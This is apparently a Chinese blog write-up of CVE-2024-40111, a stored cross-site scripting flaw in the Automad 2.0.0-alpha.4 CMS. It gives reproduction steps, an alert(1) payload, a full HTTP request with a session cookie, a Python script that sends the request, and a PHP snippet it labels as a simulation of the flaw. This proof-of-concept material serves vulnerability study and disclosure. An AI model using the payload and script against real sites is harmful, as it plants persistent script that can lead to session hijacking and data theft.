Automad 2.0.0-alpha.4 存储型跨站脚本(XSS)漏洞利用

CVE-2024-40111:Automad 2.0.0-alpha.4 存储型跨站脚本(XSS)漏洞

项目描述

这是一个针对 Automad 2.0.0-alpha.4 版本的内容管理系统(CMS)的安全漏洞利用项目。Automad 是一款基于文件的轻量级 CMS,而此项目揭示了该版本中存在的一个严重安全缺陷------存储型跨站脚本(Stored XSS)漏洞。攻击者可利用该漏洞向模板主体中注入恶意 JavaScript 代码,这些代码会永久存储在服务器上,并在任何访问受影响页面的用户浏览器中执行。

功能特性

  • 漏洞复现:提供详细的步骤和HTTP请求,可复现CVE-2024-40111漏洞。
  • 存储型XSS利用:演示如何注入并持久化恶意脚本到CMS页面中。
  • 管理员权限操作:展示在拥有后台管理员权限时,通过编辑页面内容触发漏洞。
  • 完整请求示例:包含完整的HTTP请求头和请求体,便于测试和验证。
  • 多场景影响:注入的XSS代码可导致会话劫持、数据窃取、钓鱼攻击等后果。

安装指南

本项目为漏洞分析文档,无需安装额外软件。但若要复现漏洞,需满足以下环境要求:

系统要求

  • Automad版本:2.0.0-alpha.4
  • 测试环境:Docker 26.1.4、Debian GNU/Linux 11 (bullseye)
  • Web服务器:Nginx 1.24.0
  • PHP版本:8.3.6
  • 浏览器:任意支持JavaScript的现代浏览器

复现环境搭建(使用Docker)

  1. 从GitHub拉取Automad 2.0.0-alpha.4镜像或源码:

    bash 复制代码
    git clone https://github.com/marcantondahmen/automad.git
    cd automad
    git checkout 2.0.0-alpha.4
  2. 使用Docker构建并运行:

    bash 复制代码
    docker build -t automad:2.0.0-alpha.4 .
    docker run -p 80:80 automad:2.0.0-alpha.4
  3. 访问 http://localhost 完成Automad的初始安装配置,并创建管理员账户。

使用说明

漏洞利用步骤

  1. 登录后台 :使用管理员账户登录,访问 http://localhost/dashboard/home

  2. 编辑首页:在仪表盘中选择编辑默认的"Welcome"页面。

  3. 定位内容区块 :导航至 http://localhost/dashboard/page?url=%2F&section=text,编辑名为 Main 的区块。

  4. 注入XSS载荷:在文本编辑区域输入以下载荷:

    html 复制代码
    <img src=x onerror=alert(1)>
  5. 保存并触发 :保存页面修改,随后访问首页 http://localhost/,浏览器将弹出 alert(1) 对话框。

攻击请求示例

以下是对 /_api/page/data 接口发送的恶意请求(关键载荷部分):

http 复制代码
POST /_api/page/data HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzHmXQBdtZsTYQYCv
Cookie: Automad-8c069df52082beee3c95ca17836fb8e2=d6ef49301b4eb159fbcb392e5137f6cb

WebKitFormBoundaryzHmXQBdtZsTYQYCv
Content-Disposition: form-data; name="__json__"

{"data":{"+main":{"blocks":[{"id":"lD9sUJki6gn463oRwjcY_ICq5oQPYZVP","type":"paragraph","data":{"text":"<img src=x onerror=alert(1)>","large":false}}]}},"url":"/"}
WebKitFormBoundaryzHmXQBdtZsTYQYCv--

预期响应

http 复制代码
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 30

{"code":200,"time":1718911055}

漏洞验证

访问首页 http://localhost/,若弹出 alert(1) 对话框,则表示XSS漏洞成功触发。

核心代码

以下是漏洞利用中的核心载荷及请求构造逻辑:

XSS载荷注入片段

javascript 复制代码
// 恶意载荷
const xssPayload = '<img src=x onerror=alert(1)>';

// 注入到页面内容的JSON结构中
const maliciousData = {
    "data": {
        "+main": {
            "blocks": [
                {
                    "id": "lD9sUJki6gn463oRwjcY_ICq5oQPYZVP",
                    "type": "paragraph",
                    "data": {
                        "text": xssPayload,
                        "large": false
                    }
                }
            ]
        }
    },
    "url": "/"
};

请求发送函数(概念示例)

python 复制代码
import requests

# 目标URL和Cookie(需替换为实际值)
url = "http://localhost/_api/page/data"
cookies = {
    "Automad-8c069df52082beee3c95ca17836fb8e2": "d6ef49301b4eb159fbcb392e5137f6cb"
}

# 构造multipart/form-data请求
files = {
    "__csrf__": (None, "49d68bc08cca715368404d03c6f45257b3c0514c7cdf695b3e23b0a4476a4ac1"),
    "__json__": (None, '{"data":{"+main":{"blocks":[{"id":"test","type":"paragraph","data":{"text":"<img src=x onerror=alert(1)>"}}]},"url":"/"}}')
}

response = requests.post(url, cookies=cookies, files=files)
print(response.status_code, response.text)

服务端响应处理(Automad漏洞点模拟)

php 复制代码
// Automad中处理页面数据存储的简化逻辑(漏洞位置示意)
$jsonInput = $_POST['__json__'];
$pageData = json_decode($jsonInput, true);

// 未对用户输入的HTML内容进行充分的过滤或转义
$content = $pageData['data']['+main']['blocks'][0]['data']['text'];

// 存储到文件或数据库
savePageContent($content);

// 前端渲染时直接输出,导致XSS
echo $content;

6HFtX5dABrKlqXeO5PUv/2CeWfjxRzGcbKwZW03RE0axryGu0rTYkQimlZuBGv7l

相关推荐
youcans_4 分钟前
【HALCON机器视觉实战】专栏介绍
图像处理·人工智能·计算机视觉·halcon
火山引擎开发者社区7 分钟前
火山引擎 veRoCE 获权威认证:IANA 官方为 veRoCE 分配专属 UDP 端口号 4794
人工智能
飘落的数码折腾日记14 分钟前
你的AI Agent可能正在“叛变“ | 5类真实威胁与四层防御
人工智能
放羊郎22 分钟前
基于ORB-SLAM2算法的优化工作
人工智能·算法·计算机视觉
AI袋鼠帝1 小时前
字节的技术决心,都藏在这个动作里
人工智能
AI袋鼠帝1 小时前
企微又偷偷进化AI,并开始不对劲了..
人工智能
工业机器人销售服务1 小时前
2026 年,探索专业伯朗特机器人的奇妙世界
人工智能·机器人
摆烂大大王1 小时前
AI 日报|2026年5月9日:四部门力推AI与能源双向赋能,AI终端国标出台,中国大模型融资潮涌
人工智能
萑澈1 小时前
编程能力强和多模态模型的模型后训练
人工智能·深度学习·机器学习
LaughingZhu1 小时前
Product Hunt 每日热榜 | 2026-05-08
人工智能·经验分享·深度学习·神经网络·产品运营